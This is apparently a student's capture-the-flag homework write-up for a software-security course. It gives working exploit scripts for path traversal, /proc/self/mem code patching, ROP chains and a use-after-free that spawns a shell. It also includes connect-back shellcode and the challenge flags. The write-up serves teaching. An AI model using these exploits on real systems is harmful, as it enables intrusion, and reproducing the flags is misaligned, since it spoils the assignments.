# SWSEC HW3 Writeup ###### tags: `swsec` `writeup` <style> p:has(img) { text-align: center; } .markdown-body img { max-width: 70%; } </style> ## Notepad-Stage1 ### Recon 保護全開、有 seccomp -> ORW 與 socket 相關 不能 execve ![image](https://hackmd.io/_uploads/BywYc1K86.png =50%x) `openfile` 中有 path traversal 漏洞 而透過 `snprintf(0x80)` 只要 `note_name` 夠長 就能讓 `.txt` 不會被 append 到 `fn` ![image](https://hackmd.io/_uploads/HkRmF1KUT.png =60%x) `command_editnote`、`command_shownote` 皆會呼叫到 `openfile` 結合 path traversal 漏洞 可以任意讀寫檔案 ![image](https://hackmd.io/_uploads/B1iMiJKLa.png) `commane_editnote` 會透過 `strlen` 計算要 write 的量 所以寫的資料中途不能有 NULL byte ![image](https://hackmd.io/_uploads/HJMCBltIT.png) ### Exploit 透過在檔名 prepend `/` 的方式 不會影響檔案路徑解析 當塞入太多 `/` 導致 `.txt` 沒被完整複製進去導致噴錯時 就能知道 backend 傳回來的 path (`resp.payload`) 究竟有多長 進而推算需要加上多少 `/` 才能把 `.txt` 完全推走 接著透過 `../` 即可跳出 cwd 讀到其他路徑的檔案 這邊直接去讀 `/flag_user` `Notepad-Stage1/exp.py` ```python from pwn import * r = remote(host, port) register() login() new_note(b"a", b"a\n") fn = b"a" while True: fn = b"/" + fn content = show_note(fn, 0) if b"Couldn't open the file." in content: break host_path_len = 0x80 - 3 - fn.count(b"/") - 1 content = show_note(b"../../../flag_user".rjust(0x80 - host_path_len, b"/"), 0, 0x80) print(content.decode()) ``` ![solve](https://hackmd.io/_uploads/SyIm2ktIp.png) FLAG: `flag{Sh3l1cod3_but_y0u_c@nnot_get_she!!}` ## Notepad-Stage2 透過上一個 stage 的 path traversal 可以用來讀 procfs 從 `/proc/1/cmdline` 裡面可以讀到 backend binary 的檔名 其路徑為 `/home/notepad/backend_4050c20b6ca4118b63acd960cd1b9cd8` ![image](https://hackmd.io/_uploads/rJw8pkFLa.png) 有了路徑之後即可 leak backend binary 一次可以讀 0x80 bytes ```python content = show_note(b"../../../proc/1/cmdline".rjust(0x80 - host_path_len, b"/"), 0, 0x80) fn = content.decode().split(" ")[2] file_content = b"" try: for i in range(len(file_content), 0x600000, 0x80): content = show_note(f"../../..{fn}".encode().rjust(0x80 - host_path_len, b"/"), i, 0x80) if b"Read note failed." in content: break file_content += content finally: with open("backend", "wb") as f: f.write(file_content) ``` 此時會發現無法透過 path traversal 的洞來讀 `/flag_backend` 所以開始看 backend ### Recon 保護全開 但沒有 seccomp 當 cmd 是 `0x8787` 的時候 backend 即會讀取 `/flag_backend` 並傳回來 ![image](https://hackmd.io/_uploads/HJZO0JY8p.png =50%x) ![image](https://hackmd.io/_uploads/H1Rc0Jt8p.png =40%x) ### Exploit 一樣是使用 procfs 這次的目標是 `/proc/self/mem` 此為自己這個 process 的 memory 映射 操作這個檔案等於操作自己的記憶體內容 可以先透過 `/proc/self/maps` 讀自己的 memory layout 得到 binary base、libc base 等資訊 ![image](https://hackmd.io/_uploads/Hk801lFU6.png =60%x) 這時候雖然 .text 段是不可寫的 但透過 `/proc/self/mem` 卻能繞過這個限制 Ref: https://offlinemark.com/2021/05/12/an-obscure-quirk-of-proc/ 因此直接 patch binary 讓其執行任意 code `register` 功能用不到了 所以把他 patch 掉 `puts("Register Success")` -> `puts(resp.payload)` ![image](https://hackmd.io/_uploads/S13PWgKIT.png) `mov [rbp+req.cmd], 1` -> `mov [rbp+req.cmd], 0x8787` ![image](https://hackmd.io/_uploads/S1rWzeFI6.png) ![image](https://hackmd.io/_uploads/HylCblt8T.png) 這樣下次 call register notepad 即會發出 get flag 的 request 然後直接 puts 出來 `Notepad-Stage2/exp.py` ```python host_path_len = 21 file_content = b"" for i in range(0, 0x6000, 0x80): content = show_note(b"../../../proc/self/maps".rjust(0x80 - host_path_len, b"/"), i, 0x80) if b"Read note failed." in content: break file_content += content binary_base = None libc_base = None stack_base = None for l in file_content.decode().splitlines(): s = l.split(" ") if s[-1] == "/home/notepad/notepad" and binary_base is None: binary_base = int(s[0].split("-")[0], 16) elif s[-1] == "/usr/lib/x86_64-linux-gnu/libc.so.6" and libc_base is None: libc_base = int(s[0].split("-")[0], 16) elif s[-1] == "[stack]" and stack_base is None: stack_base = int(s[0].split("-")[0], 16) # override code to puts(resp.payload) binary.address = binary_base write_target = binary_base + 0x188A shellcode = "lea rdi, [rbp-0x110+4] /* resp->payload */" payload = asm(shellcode).ljust(0x189E - 0x188A, b"\x90") edit_note(b"../../../../../proc/self/mem".rjust(0x80 - host_path_len, b"/"), write_target, payload) # overwrite cmd write_target = binary_base + 0x17C4 payload = p32(0x8787) edit_note(b"../../../../../proc/self/mem".rjust(0x80 - host_path_len, b"/"), write_target, payload) flag = register() print(flag.decode()) ``` ![solve](https://hackmd.io/_uploads/BJvu2kKUa.png) FLAG: `flag{why_d0_y0u_KnoM_tH1s_c0WW@nd!?}` ## Notepad-Stage3 (WIP) 透過前端操作太痛苦了 所以將 register 複寫成 reverse tcp proxy 會先連到我的 server 並接收 request、傳給 backend、回傳結果到 server 行為如下: ```c void reverse_tcp(int backend_fd) { int reverse_fd; struct sockaddr_in addr; struct Command req; struct Response resp; reverse_fd = syscall(SYS_socket, AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr("127.0.0.1"); addr.sin_port = htons(40005); bzero(addr.sin_zero, sizeof(addr.sin_zero)); syscall(SYS_connect, reverse_fd, &addr, 0x10); while (1) { syscall(SYS_read, reverse_fd, &req, sizeof(req)); syscall(SYS_write, backend_fd, &req, sizeof(req)); syscall(SYS_read, backend_fd, &resp, sizeof(resp)); syscall(SYS_write, reverse_fd, &resp, sizeof(resp)); } } ``` 將其 build 成 shellcode 後 可能會出現 NULL byte 此時 `edit_note` 寫的就不完整 為了避免這個問題 將裡面 `strlen` 的部分覆蓋成從 stack 上抓 call `edit_note` 前所存的 `note_lena` ![image](https://hackmd.io/_uploads/rylkPgYIa.png) `Notepad-Stage3/connect.py` `Notepad-Stage3/shellcode.py` ```asm mov rax,QWORD PTR [rbp-0x20] sub ax,0x50 /* note_bufa - 0x50, use ax to prevent higher 0 bit in instruction */ mov rdx,QWORD PTR [rax] ``` ### Recon 每個 command 都是獨立的新連線 (`command_handler`) 而且都不會 close connection 程式裡面有 malloc 但沒有 free 所以沒有 UAF 相關的洞 在 `check_token` 中 可以看到奇怪的行為 當找到對應 token 的 session 時 會將 `(req->)token + 33` 複製到 `session->token` 上去更新 token ![image](https://hackmd.io/_uploads/SJo1OlFIT.png) <img src=https://hackmd.io/_uploads/Bk0O_lF8p.png width=35%> &nbsp;&nbsp;&nbsp; <img src=https://hackmd.io/_uploads/HkeqdgtI6.png width=35%> 觀察後發現 `token+33` 實際上就是 `payload + 1` 而 `session->token` 僅有 32 bytes 若 `payload` 夠長 可以蓋到 `session->next` 甚至是 heap 上的下一個 chunk ![image](https://hackmd.io/_uploads/BkTDjeF8p.png) 僅 `command_getgolder` 跟 `command_newnote` 中有用到 `check_token` 另外看到 `command_login` 中的 `resp` 沒有被 `memset` 為 0 因此可能會 leak stack 上剩下來的東西 ![image](https://hackmd.io/_uploads/rkwLogtL6.png) ### Exploit 先 call `get_flag` 後 stack 上會殘留一些 address 接著再 call `command_login` 可以看到一些長得像 stack 上的 address 的東西 可以藉此 leak stack address 與 canary ![image](https://hackmd.io/_uploads/rkiu6lYLT.png) `Notepad-Stage3/Server.py` ```python from pwn import * l = listen(40005) _ = l.wait_for_connection() token = b"" l.send(((0x8787).to_bytes(4, 'little') + token).ljust(0xA4, b"\x00")) res = l.recv(0x104) flag = res[4:].strip(b"\x00") l.send(((2).to_bytes(4, 'little') + b"\x00" * 32 + b"AAA\x00").ljust(0xA4, b"\x00")) res = l.recv(0x104) token = res[4:4+32] ``` #### 任意讀 `command_getfolder` 會回傳 `user->root` ![image](https://hackmd.io/_uploads/ryl-AeYI6.png =40%x) 透過 `check_token` overflow 蓋掉下一個 `session->user` 的位置 把它蓋成 `&target-0x20` 後即可透過 `command_getfolder` 讀取該位置的值 要確保下一個 heap chunk 仍是 session 最簡單的辦法是直接登入兩次 #### 任意寫 可以透過 `check_token` 來做寫入 但寫入的東西中途不能有 NULL byte ![image](https://hackmd.io/_uploads/SJo1OlFIT.png) 先把 `session->next` 控到 `&target-0x10` 然後再觸發一次 `check_token` 這裡要注意的是 當 `current_session = &target-0x10` 的時候要能驗過 token 所以必須先用前面的任意讀來 leak 上面原本的東西 再把它當成這次 request 的 token #### ROP 透過 uninitialized 的洞 leak stack 後 可以算出 `connection_handler` 的 stack frame 所以可以將其 return address 寫成自己的 address 另外 stack 上也有 libc 相關 address 可以用其還原 libc base 除了透過任意寫一個一個 gadget 慢慢找地方寫 可以把 ROP chain 直接寫在 `req.payload` (不用管 `strcpy` 遇到 NULL 的問題了) 再透過 `pop rsp` 的 gadget 跳到 `req.payload` 中的 ROP chain ROP chain 裡面可以 call `mmap` 開一段可執行的記憶體並 call `read` 把 shellcode 讀進去跑 這樣可以 bypass 難用的 `strcpy` 關於 read 所需的 `fd` 因為 connection 不會關 所以 fd 會隨著每次 request 遞增 因此是可以推算的 若有遇到 local 算不準的問題 可以先到 stack 上讀前面 stack frame 上存的 fd 為基準再去遞增 #### RCE 最後拿 shellcode setuid、打 reverse shell 應就可拿 flag --- ~~FLAG~~ 沒空寫 exploit QQ ## HACHAMA ### Recon 保護全開、有 seccomp 不能 execve ![image](https://hackmd.io/_uploads/SkxGvR_La.png =50%x) 有兩個 read,另外有一個 strcpy 會把 input 放到 global var 上後再 concat ` hachamachama` `n`、`n2` 看起來都不會讀超過 buffer ![image](https://hackmd.io/_uploads/rJaPvCOLT.png =50%x) 觀察 bss 發現 `msg` 的長度是 32 後面緊接著 `n2` 如果 `name` 剛好是 20 bytes 滿 在後面接上 ` hachamachama` 後 最後面的 `a` 會蓋到 n2 上面 讓下面的 `n2` 變成 0x61 這讓下面的 read 會比 `buffer` 還長 變得可以做 BOF 但只能疊 `0x61 - 0x40 - 0x8 // 8 = 3` 個 ROP Gagdet ![image](https://hackmd.io/_uploads/r1N9vAuIT.png =50%x) ### Exploit 在 `n2` 被變大之後 透過底下的 `write` 可以讀到 canary 跟 return address 藉此算出 binary base 另外更底下也有 `__libc_start_call_main+128` 在 stack 上 另外可以推出 libc address 因為這是 dynamically linked binary 沒多少 gadget 能用 所以直接從 libc 上找 gadget 讀完一次之後做 BOF 疊 ROP 跳回 `strcpy(&msg[strlen(msg)], " hachamachama")` 的地方 `strlen` 的 return value 放在 `rax` 因此跳到比他下面 (`main + 0xde`) 配合 `pop rax` 的 gadget 就不用管 `strlen` 了 使其回傳 21 這樣 `n2` 上面就會蓋成 `ma` 亦即 0x6160 可以一次讀到更多的 ROP chain 進來 最後做 ORW 結束 這裡要注意 不能把 `n2` 蓋得太大 否則在 read/write 時會噴 `EINVAL` ![image](https://hackmd.io/_uploads/B1iNi0OLT.png =60%x) `HACHAMA/exp.py` ```python from pwn import * r = remote(host, port) libc = ELF("./libc.so.6") binary = ELF('./chal') LIBC_START_CALL_MAIN_OFFSET = 0x29d10 r.recvuntil(b"Haaton's name? ") r.send(b"A" * 20) r.recvline() r.recvline() r.send(b"HACHAMA\0") b = r.recv() canary = b[0x38:0x38+0x8] # __libc_start_call_main+128 libc.address = u64(b[0x48:0x48+0x8]) - LIBC_START_CALL_MAIN_OFFSET - 128 binary_base = u64(b[0x58:0x58+0x8]) - binary.symbols['main'] POP_RAX = libc.address + 0x45eb0 POP_RDI = libc.address + 0x2a3e5 POP_RSI = libc.address + 0x2be51 POP_RDX_R12 = libc.address + 0x11f497 SYSCALL = libc.address + 0x4278e # bss + 0x900 rbp = binary_base + 0x4000 + 0x900 payload = flat([ b"A" * 56, canary, rbp, POP_RAX, 21, # custum strlen binary_base + binary.symbols['main'] + 0xde ]) r.send(payload) r.recvline() r.recvline() # &"/home/chal/flag.txt" = buffer FLAG_ADDR = rbp - 0x40 # bss + 0x800 BUF_ADDR = binary_base + 0x4000 + 0x800 payload = flat([ b"/home/chal/flag.txt\0".ljust(56, b"A"), canary, rbp, # rdi already point to buffer # POP_RDI, # FLAG_ADDR, POP_RSI, 0, POP_RDX_R12, 0, 0, POP_RAX, 2, SYSCALL, # open POP_RDI, 3, # fd POP_RSI, BUF_ADDR, POP_RDX_R12, 0x100, 0, POP_RAX, 0, SYSCALL, # read POP_RDI, 1, # fd POP_RSI, BUF_ADDR, POP_RDX_R12, 0x100, 0, POP_RAX, 1, SYSCALL # write ]) r.send(payload) flag = r.recvline() ``` ![solve](https://hackmd.io/_uploads/SJR3BRdUa.png) FLAG: `flag{https://www.youtube.com/watch?v=qbEdlmzQftE&list=PLQoA24ikdy_lqxvb6f70g1xTmj2u-G3NT&index=1} ` ## UAF++ ### Recon 保護全開 `get_idx` 會檢查範圍 ![image](https://hackmd.io/_uploads/SyhDARdIp.png =25%x) `register_entity` 會把 malloc 出來的 address 放到 global variable (`entities`) 上 相較於 Lab UAF 這隻程式會一次做 malloc entity 跟 set name 不能再分開做 ![image](https://hackmd.io/_uploads/BJj2AA_Ip.png) `delete_entity` free 完之後不會清掉 `entities` 上面的值 ![image](https://hackmd.io/_uploads/BJyGyJFUa.png =30%x) ### Exploit 這隻程式不再送 gift 了 heap 跟 libc 都要自己來 leak 前面先註冊兩個 entity 其中一個註冊非常長的 name (0x418 -> chunk size 0x420) 另一個 chunk 則是短的 name (0x8 -> chunk size 0x20) 再將這兩個 chunk 都 delete 掉 此時 heap 長這樣: tcache 中為 `&entities[1] -> entities[1].name -> &entities[0]` unsorted bin 則為 `entities[0].name` ![image](https://hackmd.io/_uploads/rkk0xkK8a.png) 觀察 `struct entity` 可以發現 tcache->next 跟 name 是重疊的 ![image](https://hackmd.io/_uploads/H1iyz1YUp.png =40%x) 這時候 trigger `entities[1]` 的 event 他會印出 tcache->next 指向的 chunk (`entities[1].name`) 的內容 也就是上個 chunk 的 tcache->next (指到 `entities[0]`) 這樣就可以算 heap base 再來 register 一個 name chunk (size 0x30) 不能從 tcache 拿的 以 pop 一個與 entity 相同大小 (0x20) 的 tcache chunk (順便寫 `/bin/sh`) 另外再 register 一個 entity 其 name chunk 會跟 entity 一樣大 這樣該 entity 的 name chunk 就會跟 `entities[0]` 重疊 set name 的同時就是改 `entities[0]` 的值 在 unsorted bin 中的 chunk 其 `fd`、`bk` 會指到 `main_arena` 中的 unsorted bin 位置 可以藉此來 leak libc base 把 `entities[0].name` 寫成 `fd` 所在的 address 還可以順便把 `entities[0].event` 寫成 `default_handle` 所在位置來 leak binary base 這裡要考慮到前面 size 0x30 的 chunk 是從 size 0x420 的那個 chunk 切出來的 要補一下 offset 0x30 後面 address 都有了之後 再重施故技把 `entities[0]` 改寫 這次把 `entities[0].event` 寫成 `&"/bin/sh"`、`entities[0].handler` 寫成 `&system"` `trigger_event(0)` 即有 shell `register_entity`、`delete_entity` 等 function 請參考壓縮檔中腳本 `UAF++/exp.py` ```python from pwn import * r = remote(host, port) MAIN_ARENA_OFFSET = 0x1ecb80 libc = ELF("./libc-2.31.so") binary = ELF("./chal") register(0, b"A" * 0x417) register(1, b"/bin/sh") delete(0) delete(1) trigger_event(1) r.recvuntil(b"Name: ") # Index 0 entity addr chunk_addr = u64(r.recv(6).ljust(8, b"\x00")) sh_addr = chunk_addr + 0x20 # pop tcache register(1, b"/bin/sh\0" + b"a" * (0x20 - 1)) # the string chunk here equals to Index 0 entity addr register(1, (p64(chunk_addr + 0x20 + 0x30) + p64(chunk_addr + 0x20 + 0x420 + 0x10))[:-1]) trigger_event(0) r.recvuntil(b"Name: ") # &main_arena+0x60 main_arena_addr = u64(r.recv(6).ljust(8, b"\x00")) - 0x60 libc.address = main_arena_addr - MAIN_ARENA_OFFSET # main_arena offset r.recvuntil(b"EVENT: get event named \"") # &default_handle handler_addr = u64(r.recv(6).ljust(8, b"\x00")) binary_addr = handler_addr - binary.symbols['default_handle'] delete(1) register(1, (p64(sh_addr) + p64(sh_addr) + p64(libc.symbols['system']))[:-1]) trigger_event(0) ``` ![solve](https://hackmd.io/_uploads/Skmar0_Up.png =45%x) FLAG: `flag{Y0u_Kn0w_H0w_T0_0veR1aP_N4me_aNd_EnT1Ty!!!}` --- 題外話 要知道 `main_arena` 在 libc 中的 address 會需要該 libc 的 debug symbol ![image](https://hackmd.io/_uploads/HJWWwyK8p.png) 本題版本為 `2.31-0ubuntu9.9` 經過一番搜尋找到 [libc6-dbg 2.31-0ubuntu9.9](https://blueprints.launchpad.net/ubuntu/focal/amd64/libc6-dbg/2.31-0ubuntu9.9) 先透過 `readelf -x .gnu_debuglink ./libc-2.31.so` 找到對應的 symbol 檔名 ![image](https://hackmd.io/_uploads/SkUxOkKUa.png) 再去 deb 裡面抓檔案出來丟到同個資料夾 這樣 gdb 就會去抓了 也能用 `readelf` 去找到 offset 寫到 exploit 中